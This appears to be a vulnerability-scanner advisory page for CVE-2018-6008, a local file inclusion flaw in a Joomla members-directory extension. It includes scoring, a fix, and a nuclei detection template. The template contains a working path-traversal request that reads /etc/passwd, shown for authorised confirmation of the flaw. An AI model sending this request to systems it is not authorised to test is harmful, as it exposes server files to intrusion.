Joomla! Jtag Members Directory 5.3.7 - Local File Inclusion

highseverity

7.5CVSS score

36.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Joomla! Jtag Members Directory 5.3.7 is vulnerable to local file inclusion via the download_file parameter.

Impact

Successful exploitation of this vulnerability can result in unauthorized access to sensitive files on the server, potentially leading to further compromise of the system.

Fix

Update Joomla! Jtag Members Directory to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-6008 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-6008

info:
  name: Joomla! Jtag Members Directory 5.3.7 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Jtag Members Directory 5.3.7 is vulnerable to local file inclusion via the download_file parameter.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive files on the server, potentially leading to further compromise of the system.
  remediation: |
    Update Joomla! Jtag Members Directory to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/43913
    - https://packetstormsecurity.com/files/146137/Joomla-Jtag-Members-Directory-5.3.7-Arbitrary-File-Download.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6008
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-6008
    cwe-id: CWE-200
    epss-score: 0.36823
    epss-percentile: 0.98519
    cpe: cpe:2.3:a:joomlatag:jtag_members_directory:5.3.7:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: joomlatag
    product: jtag_members_directory
    framework: joomla\!
  tags: cve2018,cve,joomla,lfi,edb,packetstorm,joomlatag,joomla\!,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from